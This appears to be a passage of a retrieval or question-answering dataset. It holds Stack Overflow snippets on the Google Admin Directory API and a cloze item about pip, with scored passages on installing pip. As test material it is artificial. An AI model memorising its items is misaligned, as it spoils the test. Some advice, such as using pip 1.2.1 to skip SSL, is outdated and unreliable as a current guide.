peleyal.blogspot.com 2013 09 introduction-to-google-apis-net-client.html .", "Question : Trying to use Google admin directory API in order to read members of a google group organization - it works fine . When I try to add a member I get : .. . .. . I ve googled the error and found questions like this http : stackoverflow.com questions 22765599 missing-required-field-member this http : stackoverflow.com questions 27057265 google-groups-directory-api-add-user-to-group-raises-error-php and a few other unhelpful results . I checked and it s definitely not a missing scope nor permissions . Comment : .. . I managed to achieve what I wanted by using the sdk apiclient.discovery.build but still - I m curious what s the issue and if it can be solved . Debugging the request : .. . Answer : Since google APIs use only JSON encoding your post data is not being parsed into the needed member object . You are already loading json for the response so you should just need to change the encoding and optionally indicate it explicitly : Comment : Adding these headers I get a new error : This API does not support parsing form-encoded input . .. . Comment : @alfasin Ah I assumed they would also support another encoding when explicitly indicated. . But it sounds like json or nothing so I ve edited the answer . Comment : Nope I already tried this one . Comment : Since I can replicate the error in the explorer by leaving member as empty it seems like it is still something with parsing the body . I would check the exact request contents using httplib2.debuglevel developers.google.com api-client-library python guide logging https : developers.google.com api-client-library python guide logging Comment : I d be curious to know if the content-type isn t optional as it should be since JSON is their only working format but either way that is a very sensitive API. . Cheers :", "Question : null .. . Answer : I am trying to create a group using google-directory-api https : developers.google.com admin-sdk directory v1 reference groups insert . But i am getting this error .. . .. . Catchable fatal-error : Argument 1 passed to Google Service Directory Groups Resource : : insert must be an instance of Google Service Directory Group array given called in C : xampp htdocs groups index.php on line 94 and defined in C : xampp htdocs groups google-api-php-client src Google Service Directory.php on line 2196 .. . .. . I have used this code", "Question : I am making a very simple marketplace app using the new SDK Oauth 2.0 . One of the steps would be to automatically invite team members for a closed group so I would need access to team members users in same domain from the user that is starting the process going through the default navigator icon in google navigation menu . This is working fine however it is only working for administrators tried with both Directory API and Profiles data API .Is there a way to simply read the email from users without needing to have administrator rights It seems quite an overkill to ask a user to be administrator just for the purpose of being able to invite his team members . These email addresses are in the user contact-list for example when writing an email they are automatically there so it shoulnt be much of permission problem I guess . can anyone help a bit on how I can accomplish this Maybe a different API that I have not found Very much appreciated Best regards Joao Garin .. . Answer : You can use Service Accounts to access the Directory API on behalf of the Administrator when any user accesses the App . The Drive API has a really good set of samples here - https : developers.google.com drive delegation .. . .. . This same technique will work with Admin SDK . The end result is the auth is not made on behalf of the user at the keyboard but as an authorized Service Account . This Service Account is authorized by the admin at the time of install . Comment : Thank you for the tip Arun . I will try this out .", "Question : I m attempting to migrate our code for using the soon to be deprecated Google Provisioning API to the Admin SDK Directory API via the .NET client libraries provided by Google . In the old Provisioning API via the .NET client library a call to get the groups for a domain was very simple : .. . .. . Not exactly rocket science and the only credentials required were the domain the domain s admin email and the admin password . As long as you can supply those three parameters you can get the groups for any domain . I ve been trying for two days to create an equivalent call using the new Admin SDK Directory API via the new .NET client library and it s giving me a very hard time . The only way that I ve been able to get it to work at all is to create a Service Account for the project associated with the domain s admin email including generation of a private key file based on a useful post http : blog.mwpreston.net 2014 10 17 google-admin-sdk-apis-and-net-integration-changing-a-users-password by mwpreston : .. . .. . However because the Service Account is associated with a specific domain as specified in the admin email account for the Service Account it can only be used to request groups from that specific domain . We have clients with thousands of different domains . It s impractical to create a new Service Account for every client s domain as well as a private key file . I ve searched and searched for a way to call the DirectoryService in a way that uses the same parameters domain admin email and password but I can t find anything . The documentation for the Admin API .NET client library is extremely sparse and is of no help . The Provisioning API will be deprecated on April 20th 2015 so someone else there must have been faced with this issue . Can anyone help .. . Answer : You should use impersonate via .setServiceAccountUser user@example.com while constructing credential . Look for examples here https : developers.google.com accounts docs OAuth2ServiceAccount . Comment : Unfortunately that won t solve my problem . I need to be able to request groups and members of groups from many different domains . The original API allowed me to make the call using a domain admin email and password the new API seems to insist that I use a specific Service Account for each domain . That s impractical because our clients have thousands of domains . Comment : Maybe I just don t understand your problem but in my applications I also access directory information for different domains with one service account by constructing just credential object which is still same except for serviceAccountUser - target domain admin which is then passed to directory api constructor builder as you can see in following code.. . Comment : GoogleCredential.Builder bgc new GoogleCredential.Builder .setTransport t .setJsonFactory jsonFactory .setServiceAccountScopes scopes .setServiceAccountPrivateKey serviceAccountPrivateKey .setServiceAccountId Config.SERVICE ACCOUNT ID .setServiceAccountUser serviceAccountUser Directory dir new Directory.Builder gc.getTransport gc.getJsonFactory null .setHttpRequestInitializer gc .build Comment : Thanks for the feedback - it looks like you re using the Java client library while I have to use the .NET client library . However you have given me some very useful leads on what to try to replicate using .NET . I ll dig into the code tomorrow and see if I can do with .NET what you re doing in Java . I ll report back tomorrow . Comment : Hi @user3686724 - I can t find any way to request data when the user s domain does not match the domain of the Service Account administrator . I see that it s possible on the Google Admin Console to associate more than one domain with an account Google Admin Console - Domains - Add a domain or a domain alias . Is that how your account is set up Perhaps that s why you are able to request data from more than one domain via your Service Account", "Question : I m experimenting with the Java client for Google Admin SDK specifically the Directory API . It s based on the use of GoogleCredentials just like Google Drive API . However unlike Google Drive I m getting 400 - bad request errors with Directory . I setup the API as follows : .. . .. . The last execute produces the error and stack-trace listed at the bottom of the post . I m using the following scopes to authorize myself . I also use the Drive API as you can see . Accessing the Drive API works like a charm . I can request files without problems . If I perform a simple operation on the Directory API however I get the error and stack-trace listed below . I should mention that both the Drive API and Directory API refer to the same Google Apps domain for which I m an administrator . I also enabled both APIs in the Google API console . For the rest I can t figure out what I m doing wrong and I m wondering if anyone else has seen something similar or otherwise has experience with the accessing this API through the Java client . Thanks .. . .. . Ralph .. . Answer : If you re using Maven just add the following to your pom.xml :", "Question : null .. . Answer : I am using Google.Apis.Admin.Directory.directory v1.Data to manage google users and groups . I can create user and group but how to insert my new user in new group Here is my code", "Question : null .. . Answer : I m able to retrieve my Google Apps domain Chromebook devices with a similarly coded method in JAVA using the Google Directory API . Where I m at a loss is how to update the custom field attributes for Google Apps domain Chromebook devices . I ve tried several tweeks on the below method code . I get no errors and the custom-attributes do not get updated . Comment : After playing around with the code got it to work with getting the the device ID and adding objDirService.chromeosdevices .update my customer strDeviceID objDevice .execute after objDevice.setAnnotatedAssetId TTTT" ] }
[ "yes-answer-long", "yes-answer-short" ]
user
UNK_RELATION
pip@python@73
pip -- pip is a replacement for easy install intended to be an improved @placeholder package installer .
{ "confidence": [ 42.85481262207031, 42.224205017089844, 40.32966232299805, 40.25560760498047, 40.25560760498047, 39.95500946044922, 39.7401123046875, 39.714935302734375, 39.50300598144531, 39.40473937988281, 39.350318908691406, 39.250946044921875, 39.16016387939453, 39.05747985839844, 39.05747985839844, 38.50884246826172, 38.400447845458984, 38.39228820800781, 38.152191162109375, 38.152191162109375, 37.765235900878906, 37.741737365722656, 37.741737365722656, 37.72196578979492, 37.72196578979492, 37.70226287841797, 37.657257080078125, 37.63039016723633, 37.593231201171875, 37.513912200927734, 37.47483825683594, 37.4218864440918, 37.20232009887695, 37.20232009887695, 37.199462890625, 37.08695983886719, 37.0721549987793, 37.03829574584961, 36.93341064453125, 36.86145782470703, 36.79838943481445, 36.782135009765625, 36.769325256347656, 36.76643371582031, 36.762611389160156, 36.75874328613281, 36.75874328613281, 36.71907043457031, 36.69010925292969, 36.60432052612305, 36.60432052612305, 36.543609619140625, 36.543609619140625, 36.49763488769531, 36.32246780395508, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.312095642089844, 36.188838958740234, 35.952186584472656, 35.89032745361328, 35.76642608642578, 35.76642608642578, 35.761451721191406, 35.755794525146484, 35.7487678527832, 35.7487678527832, 35.73528289794922, 35.674400329589844, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.584007263183594, 35.51725387573242, 35.491981506347656, 35.491981506347656, 35.491981506347656, 35.491981506347656, 35.491981506347656, 35.42046356201172, 35.349456787109375, 35.339473724365234, 35.317996978759766, 35.255191802978516, 35.246826171875, 35.18087387084961, 35.12434387207031 ], "content": [ "pip didn t install the package .", "Update your pip pip install -U pip and then pip install .", "the package python-pip is available in epel repo install it by running yum install python-pip -y it will resolve any dependencies as well .. . .. . after installing you can self update pip .. . .. . pip install --upgrade pip then you can install awscli pip install awscli", "I m trying to use pip to install a package .", "How do I use pip to install the package", "@Jackie pip install --upgrade pip", "pip is a replacement for easy install .", "Try upgrading pip with pip install --upgrade pip and then running the command again .", "pip install --upgrade pip", "All it took was running pip.exe install -package- instead of pip install -package- .", "@DanH run pip install --upgrade pip", "Here how to install pip with easy way .", "sudo pip install -U pip", "pip doesn t install a package if it is already available .", "Some notes : .. . .. . pip install is failing no matter the package .", "There is a new solution to this called pip-accel https : pypi.python.org pypi pip-accel a drop-in replacement for pip with caching built-in .", "if you have python2.7 try : pip install --upgrade pip and you should have pip and pip-2.7", "pip install", "try : pip uninstall simplejson .. . .. . and then : pip install simplejson", "Install pip .. . .. . sudo easy install pip .. . .. . .. . 3 .", "For example when I install the requests package using the system PIP and I get the package listed in both pip listings .", "If you are using python under WIN OS pip works as a WIN command : try to directly type pip install .package .", "After installing a package manager we generally want to update it so we do pip install -U pip .", "Upgrade pip after it s installed .. . .. . pip install -U pip", "Note : Upgrade pip first by pip install --upgrade pip", "brew install python to install Python 2.7 and pip .. . .. . pip install pandas", "If a wheel is available pip install --use-wheel package will install a built package .", "The install scripts are packaged with the pip-installer source if you use it locally .", "Try either sudo pip install or sudo easy install .", "The answer is the same : just do pip install instead of sudo pip install .", "I have made a package and install it with pip have created a sdist package .", "The solution is to install the package with pip and to stop using setup.py install .", "@0aslam0 if pip is still failing but easy install works you might want to also upgrade pip : pip install --upgrade pip", "I was tried to upgrade pip with pip install --upgrade pip on OSX and pip and easy install both dont work .", "Pip is a replacement improvement for setuptools easy install .", "My .pip pip.conf looks like this : .. . .. . I install wheel pip install wheel then run pip wheel -r requirements.txt .", "Here is how to install pip and packages for non-default python2.7 .. . .. . Install pip for your python version : .. . .. . Use specific pip version to install packages :", "So first pip https : pypi.python.org pypi pip is preferred over easy install Why use pip over easy install http : stackoverflow.com questions 3220404 why-use-pip-over-easy-install .", "The pip-accel program is a wrapper for pip the Python package manager .", "Then follow these steps to install pip on Windows it s quite easy .", "pip easy-install directly with python setup.py install etc etc", "Oddly this fixed the error for all installs except pip install -U pip .", "After executing pip install --upgrade pip the pip command stopped working .", "Then use the script as intended is there away to add the package dir to the PATH during pip install", "This is the result that the pip-installer gave me .", "The thrift sasl depends on the sasl package but on running pip install thrift sasl or pip install sasl I run into the same error .", "I d only use easy install to install pip then use pip to install any other python package .", "Install your packages using pip .. . .. . pip install yourpackegeName", "Then I just ran this command in the prompt : .. . .. . python3 -m pip install package", "In particular conda list will also show pip installed packages and conda install will first try to find a conda package and failing that will use pip to install the package .", "I can also install from inside my virtualenv using pip install package name but for some reason the package that PIP downloads is out of date .", "I did have to install pip with my package manager and the resultant path is usr bin pip .", "pip --proxy someproxy-url : port install some-package worked for me in Win8.1 with pip 6.1.1", "pip install . or python setup.py install", "Although the latest version of pip installed a pip-2.6 script it didn t bother to install a pip-2.5 script .", "pip install pylibmc versionsplease", "pip install pylibmc wtf", "Try pip install poster .", "All are not available at a pip install .", "Use the below then to install pip :", "How to install pip : .. . .. . 1 .", "Type pypm install pip", "pip install --upgrade pydot2", "pip install -vvv .. .", "This worked pip install .", "It appears that pip install .", "On CentOS 6.5 the short answer from a clean install is : .. . .. . yum -y install python-pip pip install -U pip pip install -U setuptools pip install -U setuptools .. . .. . You are not seeing double you must run the setuptools upgrade twice .", "how did you install pip", "Possible duplicate of Easy install and Pip doesn t work http : stackoverflow.com questions 7110360 easy-install-and-pip-doesnt-work", "To install it with pip you should execute pip install django-autocomplete-light .", "I used pip install pillow instead of pip install pil .", "Just run python3.5 -m pip install package instead of pip3 install package to install 3.5 packages .", "why not just do sudo easy install pip or if this is for python-2.6 sudo easy install-2.6 pip .. . .. . This installs pip using the default python package installer system and saves you the hassle of manual set-up all at the same time .", "I usually prefix the bin pip folder for the specific environment you want to install the package before the pip command .", "In fairness if pip install doesn t work recommending installing another package manager via pip is.. . well you know .", "CAUTION : in ubuntu it overrides usr bin pip in python-pip package", "There is a python package that I need to install using pip install SomePackage.tar.gz .", "Hence sudo pip install negates most of the usefulness that pip brings to the table .", "I had to also then run pip install --upgrade pip", "I do pip install --upgrade pip then get an error .", "Did you try python -m pip install --upgrade pip", "To use pip it is not mandatory that you need to install pip in the system directly .", "pip search flask grep magic pip install magic", "please note that pip install --download is deprecated in favor of pip download command .", "I installed pip and then tried running sudo pip install psycopg2 .", "Your method of pip freeze then pip install -r requirementlist.txt is sound .", "pip install -e .", "It is recommended to install a package to a virtual environment which makes pip so nice .", "So every pip command will install the package inside this directory .", "when I pip install a package it gets insalled on my macs library .", "For example to install the requests package using pip run this from cmd : .. . .. . Whola", "I get the same issue with any pip install command for any package .", "Use pip install -v you can see all versions that available .. . .. . To not install any package use one of following solution : .. . .. . or .. . .. . Tested with pip 1.0", "I wrote this pip install script https : github.com chrissimpkins pip-installer that wraps both the ez setup.py and get-pip.py install scripts that were mentioned in Gringo Suave s answer and runs a pip install --upgrade setuptools for the latest setuptools version once pip is installed .", "Try doing python -m pip install -U pip and then pip install django 1.9.0", "In my virtual env I changed the last 2 lines of the proposed solution into the following lines : sudo pip install --upgrade pip sudo pip install -U numpy sudo pip install -U scipy", "Working as of Feb 04 2014 : : .. . .. . If you have tried installing pip through the Windows installer file from http : www.lfd.uci.edu gohlke pythonlibs pip as suggested by @Colonel Panic you might have installed the pip package manager successfully but you might be unable to install any packages with pip .", "When i installed pip windows-installer .", "use pip install option to not install package dependencies .. . .. . Doing a pip freeze afterwards .. . .. . References .. . .. . pip cookbook - Ensuring repeatability http : www.pip-installer.org en latest cookbook.html ensuring-repeatability", "If I m not mistaken I believe 1.2.1 is the version of pip I had before running pip install --upgrade pip ." ] }
{ "confidence": [ 56.29353713989258, 54.89346694946289, 51.703365325927734, 51.31332778930664, 51.06040573120117, 50.69099807739258, 50.55278015136719, 50.5165901184082, 49.99089050292969, 49.63418197631836, 49.423118591308594, 49.06278610229492, 48.73234939575195, 48.72001647949219, 48.72001647949219, 48.61943817138672, 48.420257568359375, 47.88587951660156, 47.79563522338867, 47.619659423828125 ], "content": [ "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : When I have to use Windows I use ActivePython which automatically adds everything to your PATH and includes a package manager called PyPM http : code.activestate.com pypm which provides binary package management making it faster and simpler to install packages . pip and easy install aren t exactly the same thing so there are some things you can get through pip but not easy install and vice versa http : stackoverflow.com questions 3220404 why-use-pip-over-easy-install 3224103 3224103 . My recommendation is that you get ActivePython Community Edition http : www.activestate.com activepython downloads and don t worry about the huge hassle of getting everything set up for Python on Windows . Then you can just use pypm . In case you want to use pip you have to check the PyPM option in the ActiveState installer . After installation you only need to logoff and log on again and pip will be available on the commandline because it is contained in the ActiveState installer PyPM option and the paths have been set by the installer for you already . PyPM will also be available but you do not have to use it . Comment : It must be noted that ActivePython also includes pip and easy install . PyPM is a binary package manger while pip easy install are essentially source package-managers . See code.activestate.com help faq http : code.activestate.com help faq how-is-pypm-related-to-pip-and-easy install Comment : @Rafe Kettlet - When I try to install pip in Activepython it gives this error Comment : @Jitendra - ActivePython already installs pip for you so there is no need to install it again afterwards . Comment : This is really the only SANE solution on windows . Not because of PyPM but because it comes with pip and adds things automatically to the PATH . Comment : I can only support this solution happily used ActivePython for years .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : Working as of Feb 04 2014 : : .. . .. . If you have tried installing pip through the Windows installer file from http : www.lfd.uci.edu gohlke pythonlibs pip as suggested by @Colonel Panic you might have installed the pip package manager successfully but you might be unable to install any packages with pip . You might also have got the same SSL error as I got when I tried to install Beautiful Soup 4 https : en.wikipedia.org wiki Beautiful Soup if you look in the pip.log file : .. . .. . The problem is an issue with an old version of OpenSSL http : en.wikipedia.org wiki OpenSSL being incompatible with pip 1.3.1 and above versions . The easy workaround for now is to install pip 1.2.1 which does not require SSL http : en.wikipedia.org wiki Transport Layer Security : .. . .. . Installing Pip on Windows : .. . .. . 1 . Download pip 1.2.1 from https : pypi.python.org packages source p pip pip-1.2.1.tar.gz .. . 2 . Extract the pip-1.2.1.tar.gz file .. . 3 . Change directory to the extracted folder : cd path to extracted folder pip-1.2.1 .. . 4 . Run python setup.py install .. . 5 . Now make sure C : Python27 Scripts is in PATH because pip is installed in the C : Python27 Scripts directory unlike C : Python27 Lib site-packages where Python packages are normally installed .. . .. . Now try to install any package using pip . For example to install the requests package using pip run this from cmd : .. . .. . Whola requests will be successfully installed and you will get a success message .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : I wrote this pip install script https : github.com chrissimpkins pip-installer that wraps both the ez setup.py and get-pip.py install scripts that were mentioned in Gringo Suave s answer and runs a pip install --upgrade setuptools for the latest setuptools version once pip is installed . Clone the repository with : .. . .. . Or download a .zip archive : .. . .. . https : github.com chrissimpkins pip-installer archive master.zip .. . .. . And then run the pipinstall.py script in the top level of the repository directory : .. . .. . This will give you the latest releases for both applications . It s safe to remove the script repository after the install . Comment : curl doesn t work on Windows Comment : The install scripts are packaged with the pip-installer source if you use it locally . No need to use curl . Comment : well I got this error when I tried to run it locally on windows that curl doesn t exist Comment : Strange . The setuptools install script checks for several viable applications to pull the data curl wget defaults to python urllib or urllib2 if those are not available and the pip install is all local from within the file . I would really appreciate it if you would be willing to file an issue report on the GitHub repository https : github.com chrissimpkins pip-installer issues with the error message that you received and we can try to sort it out .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : s -- Outdated -- use distribute not setuptools as described here . -- s .. . -- Outdated 2 -- use setuptools as distribute is deprecated . As you mentioned pip doesn t include an independent installer but you can install it with its predecessor easy install . So : .. . .. . 1 . Download the last pip version from here : http : pypi.python.org pypi pip downloads .. . 2 . Uncompress it .. . 3 . Download the last easy installer for Windows : download the .exe at the bottom of http : pypi.python.org pypi setuptools . Install it . 4 . copy the uncompressed pip folder content into C : Python2x folder don t copy the whole folder into it just the content because python command doesn t work outside C : Python2x folder and then run : python setup.py install .. . 5 . Add your python C : Python2x Scripts to the path .. . .. . You are done . Now you can use pip install package to easily install packages as in Linux : Comment : When run the command python setup.py install if you got error : pip.egg-info PKG-INFO : Permission denied then try to remove the read only attribute on the uncompressed pip directory . Comment : If you install a 64-bit version of python setuptools will not detect your python executable . I found some binaries here that will though unofficial : lfd.uci.edu gohlke pythonlibs http : www.lfd.uci.edu gohlke pythonlibs Comment : Once I ve installed pip using easy install can I remove setuptools by pip uninstall setuptools Is this okay or would it lead to issues later on Comment : As an alternative to step 4 simply run setup.py from wherever pip was dowloaded to e.g . from firefox C : Users Tony Downloads pip-1.2.1 pip-1.2.1 Comment : This method still works very well as of 02 2016 to install pip and then nose on Python 2.6 on Windows . Indeed using Gohlke s binaries is no longer an option since he replaced them all by wheels .", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : How to install pip : .. . .. . 1 . Download and install ActivePython http : www.activestate.com activepython downloads .. . 2 . Open a command-prompt CMD .. . 3 . Type pypm install pip", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : Alternatively you can get pip-Win https : sites.google.com site pydatalog python pip-for-windows which is an all-in-one installer for pip and virtualenv https : pypi.python.org pypi virtualenv on Windows and its GUI . Switch from one Python interpreter i.e . version to another including py and pypy .. . See all installed packages and whether they are up-to-date .. . Install or upgrade a package or upgrade pip itself .. . Create and delete virtual environments and switch between them .. . Run the IDLE http : en.wikipedia.org wiki IDLE 28Python 29 or another Python script with the selected interpreter", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : There is also an issue with pip on 64 bit Cygwin . After installation output of the pip command is always empty no matters what commands options do you use even pip -V doesn t produce any output . If it s your case just install development version of Cygwin s package libuuid called libuuid-devel . Without that package using of libuuid causes a segfault . And pip uses that package so the segfault is cause of an empty output of pip on Cygwin x64 . On 32-bit Cygwin it s working fine even without that package . You can read some details there : https : github.com kennethreitz requests issues 1547", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : Here how to install pip with easy way . 1 . copy and paste these https : bootstrap.pypa.io get-pip.py content in a file as get-pip.py .. . 2 . copy and paste get-pip.py into python folder . C : Python27 .. . 3 . Double click to get-pip.py file.it will install pip to your computer . 4 . Now you have to add C : Python27 Scripts path to your enviroment variable.Because it includes pip.exe file . 5 . Now you are ready to use pip . Open cmd and type as .. . pip install package name", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : PythonXY https : code.google.com p pythonxy comes with pip included among others https : code.google.com p pythonxy wiki Welcome tm 6 . Comment : Great alternative too PythonXY is a great Python distribution for most purposes . Comment : precisely and nowhere as complicated to obtain install : -7", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : I actually use Anaconda from continuum.io on Windows and it works very well . There s a full feature command windows-shell with all utilities like pip conda etc . It also comes with pandas numpy etc.. . pretty useful on Windows as it may be hard to compile everything separately .", "Question : I downloaded pip and ran python setup.py install and everything worked just fine . The very next step in the tutorial is to run pip install lib you want but before it even tries to find anything online I get an error bash : pip : command not found . This is on Mac OS X which I m new too so I m assuming there s some kind of path setting that was not set correctly when I ran setup.py . How can I investigate further What do I need to check to get a better idea of the exact cause of the problem EDIT : I also tried installing Python 2.7 for Mac in the hopes that the friendly install process would do any housekeeping like editing PATH and whatever else needs to happy for everything to work according to the tutorials but this didn t work . After installing is running python still ran Python 2.6 and PATH was not updated . Comment : Did the installation of pip report it was successful Comment : Perhaps you need to run the command as root Comment : I am running terminal using sudo so everything should be run as root . The installed did report success . .. . Answer : why not just do sudo easy install pip or if this is for python-2.6 sudo easy install-2.6 pip .. . .. . This installs pip using the default python package installer system and saves you the hassle of manual set-up all at the same time . This will allow you to then run the pip command for python package installation as it will be installed with the system python . I also recommend once you have pip using the virtualenv https : pypi.python.org pypi virtualenv package and pattern . : Comment : Thanks for the suggestion sorry but I m a newbie sudo : easy install : command not found Comment : TabError : inconsistent use of tabs and spaces in indentation python-3.4 Comment : The link that @PaigeLo posted seems to lead to a random page that made my Safari freeze...would not recommend doing that", "Question : pip is a replacement for easy install . But should I install pip using easy install on Windows Is there a better way Comment : That is just ironic I was going to ask the same question . SOME replacement it is - if it still has to use easy install Hahah Comment : While I agree with you all windows programs install without the need to install the installer . Comment : From PyCon 2011 : blip.tv pycon-us-videos-2009-2010-2011 http : blip.tv pycon-us-videos-2009-2010-2011 pycon-2011-reverse-engineering-ian-bicking-s-brain-inside-pip-and-virtualenv-4899496 The dirty secret is that pip is a wrapper for easy install : Comment : Like how apt-get uses dpkg at the core - but it doesn t make it any less useful Comment : Ruby ships with Gem and Nodejs with Npm giving users full-featured package management out the box . I for one am envious . stackoverflow.com a 11453972 284795 http : stackoverflow.com a 11453972 284795 .. . Answer : March 2016 Update : .. . .. . These answers are outdated or otherwise wordy and difficult . If you ve got Python 3.4+ or 2.7.9+ it will be installed by default https : docs.python.org 3.4 whatsnew 3.4.html whatsnew-pep-453 on Windows . Otherwise in short : .. . .. . 1 . Download the pip installer : https : bootstrap.pypa.io get-pip.py .. . 2 . Inspect file to confirm it isn t malicious must b64 decode . 3 . Open a console in the download folder as Admin and run get-pip.py . Alternatively right-click its icon in Explorer and choose the run as Admin.. . . The new binaries pip.exe and the deprecated easy install.exe will be found in the ProgramFiles PythonXX Scripts folder or similar which is likely not in your PATH variable . I recommend adding it . Comment : thanks make sure you add PATH to your system variable Comment : 